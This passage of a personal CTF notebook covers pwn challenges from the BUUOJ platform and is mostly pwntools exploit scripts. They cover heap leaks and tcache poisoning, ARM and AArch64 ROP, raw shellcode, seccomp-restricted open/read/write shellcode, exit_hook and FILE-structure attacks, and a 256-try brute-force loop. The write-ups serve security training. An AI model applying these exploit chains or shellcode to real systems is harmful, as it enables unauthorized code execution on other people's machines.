      add(i, 1032, '', '', '', 0, '')
   for i in range(2, 9):
      dele(i)

   dele(1) # unsortedbin
   edit(0, '', '', '', 0, b'a'*(1032-64+7)) # last byte is for '\n'
   show(0)

   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['main_arena'] - 0x60
   # 0x1f2ce0 in glibc-2.35
   log.success('libc_base: ' + hex(libc_base))

   # leak heap
   add(11, 1032, '', '', '', 0, '') #8
   dele(9)
   edit(11, '', '', '', 0, b'b'*(1032-64)+b'abcdefg')
   show(11)
   io.recvuntil('abcdefg\n')
   heap_base = decrypt_pointer(u64(io.recvuntil(b'1 Add\n')[:-6].ljust(8, b'\x00'))) - 0x1000
   log.success('heap_base: ' + hex(heap_base))
   
   # getshell
   fake_chunk = b'c'*(1032-64)+p64(0x411)+p64(((heap_base+0x2730)>>12)^0x404010) # buf overflow, make the chunk aligned to 16 bytes
   edit(11, '', '', '', 0, fake_chunk)
   add(12, 1032, '', '', '', 0, '') # nothing

   io.sendline('1') # 0x2730 = 0x250 + 0x410*9 + 0x10 + 0x40
   io.sendline('13')
   io.sendline('1032')
   io.send('n1rvana') # since we make the chunk at 0x401010, it's null and we can fill anything
   io.send(p64(libc_base+libc.sym['system'])) # where the free.got is
   io.send(p64(libc_base+libc.sym['puts'])) # keeping the same
   io.sendline('0') 
   io.send(p64(libc_base+libc.sym['scanf'])) # keeping the same
   dele(0)

arm

jarvisoj_typo——ARM ROP

ARM Register Introduction:

Register Alias/Description Typical Use ABI Convention (AAPCS32)
R0–R3 Arguments/Return Parameters & Return caller-saved
R4–R11 Saved Registers Local Variables/Persistent Values callee-saved (R9 sometimes platform-reserved)
R12 IP Intra-procedure Call Trampoline caller-saved
R13 SP Stack Pointer 8-byte aligned
R14 LR Return Address caller-saved
R15 PC Program Counter Read/Branch
CPSR/APSR Flags Condition Codes Updated by instructions
S0–S31 / D0–D31 / Q0–Q15 VFP/NEON Floating-point/Vector Saved per toolchain convention (commonly D8–D15 callee-saved)

Required Software:

sudo apt-get install gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gdb-multiarch

Debugging:

qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn
pwndbg> target remote localhost:1234

Note: 32-bit ARM also uses registers for argument passing, r0 is the first argument, r1 is the second, and so on.

exp(debuggable):

from pwn import *
elf_path = '/home/junyu33/Desktop/tmp/typo'
#libc_path = '/home/junyu33/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'
#libc_path = './libc/libc.so_2.6'

def exploit():
   bin_sh = 0x6c384
   system = 0x110b4
   pop_r0_r4_pc = 0x20904

   payload = b'a'*112 + p32(pop_r0_r4_pc)+ p32(bin_sh) + p32(0) + p32(system)
   io.sendline()
   io.send(payload)

if __name__ == '__main__':
   context(arch='arm', os='linux', log_level='debug')
   io = process(['qemu-arm', '-g', '1234', elf_path])
   elf = ELF(elf_path)
   #libc = ELF(libc_path)

   if(sys.argv.__len__() > 1):
      if sys.argv[1] == 'debug':
         gdb.attach(io, 'target remote localhost:1234')
      elif sys.argv[1] == 'remote':
         io = remote('node4.buuoj.cn', 29593)


   exploit()
   io.interactive()
   io.close()

shanghai2018_baby_arm——arm ret2csu+vmprotect

Introduction to aarch64 registers:

Register Alias/Description Typical Usage ABI Convention (AAPCS64)
X0–X7 / W0–W7 Lower 32 bits use Wn Function args/ret First 8 args; return value X0 (X1 assists if needed) caller-saved
X8 indirect result / syscall num Platform reserved caller-saved
X9–X15 Temporary Volatile caller-saved
X16–X17 IP0/IP1 Internal jump/PLT bridge caller-saved
X18 Platform register Some use as TLS/reserved Platform-dependent; usually avoid
X19–X28 Saved registers Callee preserved callee-saved
X29 FP Frame pointer callee-saved
X30 LR Return address caller-saved (overwritten by call)
SP Stack pointer 16-byte aligned Aligned before/after call
PC Program counter Next instruction Read-only access
XZR/WZR Constant 0 Write discard Not general storage
V0–V31 128-bit SIMD/FP NEON/FP compute V8–V15 callee-saved; others caller-saved
PSTATE/NZCV Flags Conditional branch Updated by instructions

https://www.cnblogs.com/hac425/p/9905475.html

https://blog.csdn.net/qq_41202237/article/details/118518498

The first parameter of vmprotect is addr, the second is length, and the third is permission, as follows:

#define PROT_READ	0x1     /* Page can be read.  */
#define PROT_WRITE	0x2     /* Page can be written.  */
#define PROT_EXEC	0x4     /* Page can be executed.  */
#define PROT_NONE	0x0     /* Page can not be accessed.  */

aarch64 also has an init function similar to libc_csu_init, shown here is the latter part:

.text:00000000004008AC                               loc_4008AC                    ; CODE XREF: init+60↓j
.text:00000000004008AC A3 7A 73 F8                   LDR             X3, [X21,X19,LSL#3] ;mov X3, [X21+X19+LSL<<3]
.text:00000000004008B0 E2 03 16 AA                   MOV             X2, X22 ;argument 2
.text:00000000004008B4 E1 03 17 AA                   MOV             X1, X23 ;argument 1
.text:00000000004008B8 E0 03 18 2A                   MOV             W0, W24 ;argument 0
.text:00000000004008BC 73 06 00 91                   ADD             X19, X19, #1
.text:00000000004008C0 60 00 3F D6                   BLR             X3 ;jmp X3
.text:00000000004008C0
.text:00000000004008C4 7F 02 14 EB                   CMP             X19, X20
.text:00000000004008C8 21 FF FF 54                   B.NE            loc_4008AC
.text:00000000004008C8
.text:00000000004008CC
.text:00000000004008CC                               loc_4008CC                    ; CODE XREF: init+3C↑j
.text:00000000004008CC F3 53 41 A9                   LDP             X19, X20, [SP,#var_s10] ;x19 = [sp+0x10], x20 = [sp+0x18]
.text:00000000004008D0 F5 5B 42 A9                   LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4 F7 63 43 A9                   LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8 FD 7B C4 A8                   LDP             X29, X30, [SP+var_s0],#0x40 ;x29 = [sp], x30 = [sp+9], sp+=0x40
.text:00000000004008DC C0 03 5F D6                   RET

exp:

def exploit():
   offset = 72
   mprotect = 0x4007e0
   buf = 0x411068
   shellcode = asm(shellcraft.aarch64.sh())

   payload = p64(mprotect) + shellcode
   io.send(payload)

   payload = b'a'*72 + p64(0x4008cc) # ret2csu

   payload += p64(0) + p64(0x4008ac) # x29, x30
   payload += p64(0) + p64(1) # x19, x20
   payload += p64(buf) + p64(7) # x21, x22
   payload += p64(0x1000) + p64(buf) # x23, x24
   payload += p64(0) + p64(buf+8) # x29', x30' (new frame)

   io.sendline(payload)   

inctf2018_wARMup — ARM Shellcode

Note that in ARM architecture, the .bss section is executable, allowing direct placement of shellcode on the bss segment.

Originally intended to use shellcraft, but it failed. Ended up grabbing a piece of shellcode from the internet which worked, though it didn't pass locally.

b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'

from pwn import *
elf_path = '/home/junyu33/Desktop/tmp/wARMup'
#libc_path = '/home/junyu33/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'
libc_path = '/usr/arm-linux-gnueabihf/lib/libc.so.6'

def exploit():
   shellcode = b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'
   pop_r3_pc = 0x10364
   bss = 0x21034

   payload = b'a'*0x64 + p32(bss+0x68) + p32(pop_r3_pc) + p32(bss) + p32(0x10530)
   io.send(payload)
   payload = shellcode.ljust(0x68, b'\0') + p32(bss) + p32(bss)
   io.send(payload)

if __name__ == '__main__':
   context(arch='arm', os='linux', log_level='debug')
   elf = ELF(elf_path)
   libc = ELF(libc_path)

   if(sys.argv.__len__() > 1):
      if sys.argv[1] == 'debug':
         io = process(['qemu-arm', '-g', '1234', '-L', '/usr/arm-linux-gnueabihf', elf_path])
         gdb.attach(io, 'target remote localhost:1234')
      elif sys.argv[1] == 'remote':
         io = remote('node4.buuoj.cn', 25121)
   else:
      io = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabihf', elf_path])

   exploit()
   io.interactive()
   io.close()

misc

cicsn_2019_ne_5——sh

Both sh and /bin/sh can be used to open a shell.

ROPgadget --binary pwn --string 'sh'

Payload structure:

b'a'*(0x48+4) + p32(sys_addr) + p32(main_addr) + p32(bin_sh)

jarvisoj_level3——find /bin/sh using pyscript

def exploit():
   #libc = ELF('./libc/libc-2.30.so')
   libc = ELF('./libc/libc-2.23.so')

   elf = ELF('./level3')
   write_plt = elf.plt['write']
   write_got = elf.got['write']
   read_got = elf.got['read']
   vuln = elf.sym['vulnerable_function']

   io.recvuntil('Input:\n')
   payload1 = b'a'*140 + p32(write_plt) + p32(vuln) + p32(1) + p32(read_got) + p32(4)
   io.send(payload1)

   read_addr = u32(io.recv(4))
   libc_base = read_addr - libc.sym['read']
   log.success('libc_base'+hex(libc_base))
   bin_sh = libc_base + next(libc.search(b'/bin/sh')) # libc.search('/bin/sh').next() is out of date
   sys = libc_base + libc.sym['system']

   payload2 = b'a'*140 + p32(sys) + p32(vuln) + p32(bin_sh)
   io.send(payload2)

ez_pz_hackover_2016 - cyclic find offset

Because sometimes IDA's analysis can also be wrong.

cyclic 50 generates a string sequence of length 50.

When a segmentation fault occurs during dynamic debugging with gdb-peda, you can determine the offset from the input position to ebp by extracting the string corresponding to ebp.

cyclic -l 'xxxx' gives a result, and adding 4 or 8 to it yields the required padding size.

pwnable_orw

ORW refers to the scenario where your system calls are restricted, preventing you from gaining privileges or the flag via child processes. Instead, you must obtain the flag within the same process using only open, read, and write.

seccomp, short for secure computing, is a straightforward sandboxing mechanism introduced in Linux kernel version 2.6.23. In Linux systems, a large number of system calls are directly exposed to user-space programs. However, not all system calls are necessary, and insecure code abusing system calls can pose security threats to the system. The seccomp security mechanism allows a process to enter a "secure" execution mode, where it can only invoke four system calls: read(), write(), exit(), and sigreturn(). Any other system call results in process termination. ———————————————— Copyright Notice: This article is an original piece by the CSDN blogger "半岛铁盒@", following the CC 4.0 BY-SA copyright license. Reprinted with a link to the original source. Original link: https://blog.csdn.net/weixin_45556441/article/details/117852436

prctl(38, 1, 0, 0, 0); // elevation is forbidden
prctl(22, 2, &v1); // only open() read() write() is allowed

You can also directly inspect using seccomp-tools:

$ seccomp-tools dump ./asm
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode: 1233
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

exp:

# https://blog.csdn.net/weixin_45556441/article/details/117852436
from pwn import *
context.arch = 'i386'
p = remote('node3.buuoj.cn',28626)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)
p.send(payload)
p.interactive()

or with asm code:

# https://blog.csdn.net/weixin_45556441/article/details/117852436
from pwn import *
from LibcSearcher import *

context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node3.buuoj.cn", 27008)

shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
p.sendlineafter('shellcode:', shellcode)

p.interactive()

[ZJCTF 2019]Login

Tip: Press Tab in the pseudocode view to switch to assembly code.

This is actually a C++ reverse engineering challenge, which appears a bit tricky. The segmentation fault occurs due to the execution of call rax.

lea     rdx, [rbp+s]
lea     rax, [rbp+s]
mov     rcx, rdx
mov     edx, offset format ; "Password accepted: %s\n"
mov     esi, 50h ; 'P'  ; maxlen
mov     rdi, rax        ; s
mov     eax, 0
call    _snprintf
lea     rax, [rbp+s]
mov     rdi, rax        ; s
call    _puts
mov     rax, [rbp+var_68]
mov     rax, [rax]
mov     rax, [rax]
call    rax
jmp     short loc_400A62

Here, [rbp+var_68] is the first parameter of the function.

; unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(void (***)(void), const char *, const char *)
_ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ proc near

; __unwind {
push    rbp
mov     rbp, rsp
add     rsp, 0FFFFFFFFFFFFFF80h
mov     [rbp+var_68], rdi ; HERE!!!
mov     [rbp+s1], rsi
mov     [rbp+s2], rdx
mov     rax, fs:28h
mov     [rbp+var_8], rax
xor     eax, eax
mov     rdx, [rbp+s2]
mov     rax, [rbp+s1]
mov     rsi, rdx        ; s2
mov     rdi, rax        ; s1
call    _strcmp
test    eax, eax
jnz     short loc_400A58

Returning to the main function, we can see that the return value of _Z16password_checkerPFvvE is passed to [rbp+var_130], which ultimately becomes the first parameter of _ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_, the previous function.

lea     rax, [rbp+var_131]
mov     rdi, rax
call    _ZZ4mainENKUlvE_cvPFvvEEv ; main::{lambda(void)#1}::operator void (*)(void)(void)
mov     rdi, rax        ; void (*)(void)
call    _Z16password_checkerPFvvE ; password_checker(void (*)(void)) ; HERE!!!
mov     [rbp+var_130], rax
mov     edi, offset login ; this
call    _ZN4User13read_passwordEv ; User::read_password(void)
lea     rax, [rbp+var_120]
mov     rdi, rax        ; this
call    _ZN4User12get_passwordEv ; User::get_password(void)
mov     rbx, rax
mov     edi, offset login ; this
call    _ZN4User12get_passwordEv ; User::get_password(void)
mov     rcx, rax
lea     rax, [rbp+var_130]
mov     rdx, rbx
mov     rsi, rcx
mov     rdi, rax
call    _ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ ; password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(char const*,char const*)
mov     eax, 0

Now, let's examine _Z16password_checkerPFvvE:

; __int64 __fastcall password_checker(void (*)(void))
public _Z16password_checkerPFvvE
_Z16password_checkerPFvvE proc near

var_18= qword ptr -18h
var_8= qword ptr -8

; __unwind {
push    rbp
mov     rbp, rsp
mov     [rbp+var_18], rdi
mov     [rbp+var_8], 0
lea     rax, [rbp+var_18]
pop     rbp
retn
; } // starts at 400A79
_Z16password_checkerPFvvE endp

We can see that the return value is [rbp+var_18].

Since these functions are all at the same level as subfunctions of main, the relative positions on the stack remain unchanged. Therefore, it is possible to overwrite [rbp+var_18] with the address of a shell during password input, thereby gaining shell access.

wustctf2020_closed

close(1) closes standard output, and close(2) closes standard error. We are left with only standard input, and we see that the program returns a shell (0 is standard input, 1 is standard output, 2 is standard error).

Redirect standard output to standard input to obtain the flag.

exec 1>&0

mrctf2020_shellcode_revenge - Alphanumeric Shellcode

You can use alpha3 to generate or import the AE64 library.

Reference link: http://taqini.space/2020/03/31/alpha-shellcode-gen/#生成shellcode

def exploit():
   shellcode = asm(shellcraft.sh())
   alpha_shellcode = AE64().encode(shellcode)
   io.send(alpha_shellcode)

hctf2018_the_end—io_file attack

Initially, I planned to forge a vtable locally in libc 2.23, replacing setbuf with a one_gadget to get a shell. GDB debugging showed that the shell was indeed obtained, but there was no output at all.

def exploit():
   io.recvuntil('gift ')
   libc_base = int(io.recv(14), 16) - libc.sym['sleep']
   print(hex(libc_base))
   one_gadget = libc_base + 0xf03a4 # 0x4527a 0xf03a4 0xf1247 0x45226

   stdout = libc_base + libc.symbols["_IO_2_1_stdout_"]
   vtable = stdout + 0xd8
   fake_vtable = stdout + 0x48
   fake_setbuf = stdout + 0xa0
   print(hex(stdout), hex(vtable), hex(fake_vtable), hex(fake_setbuf), hex(one_gadget))

   for i in range(2):
      io.send(p64(vtable+i))
      io.send(p64(fake_vtable)[i:i+1])

   for i in range(3):
      io.send(p64(fake_setbuf+i))
      io.send(p64(one_gadget)[i:i+1])

   io.sendline("cat flag>&0") # failed

Then I referred to a senior's article: https://bbs.pediy.com/thread-262459.htm, which suggested modifying the function pointer dl_rtld_lock_recursive in _rtld_global to achieve an exit_hook attack.

Surprisingly, this method worked on the remote server (libc 2.27) but still failed locally on libc 2.23.

def exploit():
   io.recvuntil('gift ')
   libc_base = int(io.recv(14), 16) - libc.sym['sleep']
   print(hex(libc_base))
   one_gadget = libc_base + 0x4f322 # 0x4f2c5 0x4f322 0x10a38c

   _rtld_global = libc_base + 0x619060 # debug
   dl_rtld_lock_recursive_addr = _rtld_global + 0xf08

   for i in range(5):
      io.send(p64(dl_rtld_lock_recursive_addr + i))
      io.send(p64(one_gadget)[i:i+1])

   io.sendline("cat flag >&0")

There is another method I haven't tried: https://blog.csdn.net/Mira_Hu/article/details/103736917

  • Modify the last byte of _IO_write_ptr in stdout to achieve fp->_IO_write_ptr > fp->_IO_write_base.

  • Modify the second-to-last byte of the vtable in stdout to ensure the forged _IO_OVERFLOW points to a libc-related address.

  • Finally, modify the last three bytes of the forged _IO_OVERFLOW to the one gadget.

  • After these five-byte modifications, executing the exit function will eventually execute the one gadget, obtaining a shell.

ciscn_2019_n_7—exit_hook Attack

Offsets of exit_hook in libc 2.23 and 2.27

Update on 2022/10/17:

This should be _rtld_global

# libc-2.23.so
exit_hook = libc_base + 0x5f0040 + 3848
exit_hook = libc_base + 0x5f0040 + 3856

# libc-2.27.so
exit_hook = libc_base + 0x619060 + 3840
exit_hook = libc_base + 0x619060 + 3848

The program crashes locally, but the exploit is simple and can be executed remotely without debugging.

def exploit():
   io.sendline('666')
   io.recvuntil('0x')
   libc_base = int(io.recv(12), 16) - libc.sym['puts']
   log.info('libc_base: ' + hex(libc_base))
   exit_hook = 0x5f0040 + 3848
   one_gadget = 0xf1147

   add(0x18, 'a')
   edit(b'a'*8 + p64(libc_base + exit_hook), p64(libc_base + one_gadget))
   io.sendline('4')
   # exec 1>&0 cat flag

wdb2018_GUESS—fork+libc to stack

This program uses the fork function, which copies the entire memory of the original process to the child process (including the execution flow), so the stack addresses and libc addresses remain unchanged.

When the program modifies the canary, it will report an error and exit, printing the program's path. We can modify the address corresponding to this path (1) to achieve certain goals, as detailed below:

Both (1) and (2) can be determined through debugging.

def exploit():
   payload = b'a'*0x128 + p64(elf.got['puts'])
   io.sendline(payload)
   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
   log.success(message='libc_base: ' + hex(libc_base))
   libc_environ = libc_base + libc.sym['environ']
   
   payload = b'a'*0x128 + p64(libc_environ)
   io.sendline(payload)
   stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
   log.success(message='stack_addr: ' + hex(stack_addr))
   flag_addr = stack_addr - 0x7ffd64929cc8 + 0x7ffd64929b60

   payload = b'a'*0x128 + p64(flag_addr)
   io.sendline(payload)

ciscn_2019_final_2—Modify File Descriptor

This challenge has no sandbox restrictions, so using ORW is not necessary.

# junyu33 @ zjy in ~/tmp [11:21:25]
$ seccomp-tools dump ./ciscn_final_2
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

At the beginning, there is an operation that modifies the file descriptor for the flag:

unsigned __int64 init()
{
  int fd; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("flag", 0);
  if ( fd == -1 )
  {
    puts("no such file :flag");
    exit(-1);
  }
  dup2(fd, 666);
  close(fd);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  return __readfsqword(0x28u) ^ v2;
}

We only need to change the file descriptor to 666.

Specifically, modify the _fileno field in the FILE structure (refer to house of orange) to 666.

def exploit():
   add(1, 0x30)
   dele(1)
   for i in range(4):
      add(2, 0x20)
   dele(2)
   add(1, 0x1234) # bool
   dele(2)
   show(2)
   
   io.recvuntil('number :')
   heap_low = (int(io.recvline()[:-1]) + 0x10000) & 0xffff
   log.success('heap_low: '+hex(heap_low))
   add(2, heap_low - 0xa0)
   add(2, 0)
   
   dele(1)
   add(2, 0x91)
   for i in range(7):
      dele(1)
      add(2, 0) # bool
   dele(1)
   show(1)

   io.recvuntil('number :')
   libc_low = (int(io.recvline()[:-1]) - libc.sym['__malloc_hook'] - 0x70 + 0x100000000) & 0xffffffff
   log.success('libc_low: '+hex(libc_low))
   stdin = libc_low + libc.sym['_IO_2_1_stdin_'] + 0x70 # here

   add(2, stdin&0xffff) # no tcache
   add(1, 0)
   add(1, 666)
   leave('ok')

actf_2019_babyheap——avoid forking child process

gdb.attach(io, 'set follow-fork-mode parent')

hfctf_2020_marksman—exit_hook attack2

Reference link: https://www.cnblogs.com/LynneHuan/p/14687617.html

Another form of exit_hook attack, modifying _dl_catch_error@got.plt to one_gadget

Use the -l parameter with one_gadget, such as -l2, -l3, to view more gadgets

def exploit():
   io.recvuntil('0x')
   libc_puts = int(io.recv(12), 16)
   libc_base = libc_puts - libc.symbols['puts']
   ogg = [0x4f2c5, 0x4f322, 0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a387, 0x10a398]
   one_gadget = libc_base + ogg[2]
   exit_hook = libc_base + 0x5f4038 # _dl_catch_error@got.plt

   io.sendline(str(exit_hook))
   io.sendline(p8(one_gadget&0xff))
   io.sendline(p8((one_gadget>>8)&0xff))
   io.sendline(p8((one_gadget>>16)&0xff))

[OGeek2019 Final]OVM——vm

The difference between vm pwn and vm reverse is that you don't need to reverse all instructions—just focus on the vulnerable ones (primarily array out-of-bounds) and reverse other relevant instructions centered around exploiting that vulnerability. There's no need to write Python functions for every opcode, which wastes time.

In this challenge, opcode 0x30 and opcode 0x40 have array out-of-bounds vulnerabilities, allowing arbitrary read and write operations. Since the comment is allocated on the heap, a simple approach is to obtain the libc address via stderr, then modify the heap pointer to __free_hook and write a one_gadget into it.

# reg13 = sp
# reg15 = pc
# 0x10 dest = src0
# 0x30 dest = *src0 
# 0x40 *src0 = dest
# 0x80 dest = src1 - src0
# 0xa0 dest = src1 | src0
# 0xc0 dest = src1 << src0
# 0xff print reg
# opcodes dest src1 src0

code = [
   # leak libc, offset to stderr = -26 
   
   0x100e0008, # r14 = 0x8
   0x1003001a, # r3 = 0x1a
   0x1004001b, # r4 = 0x19

   0x80030703, # r3 = -r3
   0x300c0003, # r12 = mem[r3] # lower addr of stderr

   0x80040704, # r5 = -r5
   0x300b0004, # r11 = mem[r4] # higher addr of stderr
   # write __free_hook to comment, offset = 0x10a8

   0x10030008, # r3 = 0x8
   0x80030703, # r3 = -r3

   0x10050010, # r5 = 0x10
   0x100600a8, # r6 = 0xa8
   0xc005050e, # r5 = r5 << r14
   0xa0050506, # r5 = r5 | r6, so r5 = 0x10a8

   0x80050705, # r5 = -r5
   0x800c0c05, # r12 = 12 - (-r5), so r12 = __free_hook
   
   0x400c0003, # mem[r3] = r12
   0x10030007, # r3 = 0x7
   0x80030703, # r3 = -r3
   0x400b0003, # mem[r3] = r11

   0xff000000 # show
]

def exploit():
   io.sendlineafter('PC: ', '0')
   io.sendlineafter('SP: ', '1')
   io.sendlineafter('SIZE: ', str(len(code)))
   io.recvuntil('CODE: ')
   for i in code:
      io.sendline(str(i))

   io.recvuntil('R11: ')
   free_hookh = int(io.recvline()[:-1], 16)
   io.recvuntil('R12: ')
   free_hookl = int(io.recvline()[:-1], 16)
   libc_base = (free_hookh << 32 | free_hookl) - libc.sym['__free_hook']

   log.info('libc_base: ' + hex(libc_base))
   one_gadget = libc_base + 0x4526a
   io.send(p64(one_gadget))

sctf_2019_one_heap——1/256 Probability

The idea is to perform a double free to gain control over the tcache_perthread_struct, modify the count for 0x250 chunks, and then free the structure itself to turn it into an unsorted bin.

After reallocating a chunk of size 0x40 or larger, main_arena will shift downward into the next pointer, allowing a partial write to brute-force the stdout address and leak libc.

Finally, directly write the one_gadget into __malloc_hook and adjust realloc_hook+4 accordingly.

This challenge requires brute-forcing both the heap address and the stdout address simultaneously, resulting in a success probability of 1/256. A looped exploit script is needed, with the loop section provided below:

2022/10/23: Buu page 5 completed—celebrations! ★,°:.☆( ̄▽ ̄)/$:.°★

if __name__ == '__main__':
   context(arch='amd64', os='linux')#, log_level='debug')
   elf = ELF(elf_path)
   libc = ELF(libc_path)

   for i in range(256):
      io = process(elf_path)
      log.info('i tries: ' + str(i))

      if(sys.argv.__len__() > 1):
         if sys.argv[1] == 'debug':
            gdb.attach(io, 'b calloc')
         elif sys.argv[1] == 'remote':
            io = remote('node4.buuoj.cn', 27751)
         elif sys.argv[1] == 'ssh':
            shell = ssh('fsb', 'node4.buuoj.cn', 25540, 'guest')
            io = shell.process('./fsb')

      try:
         exploit()
         io.interactive()
      except:
         try:
            io.close()
         except:
            pass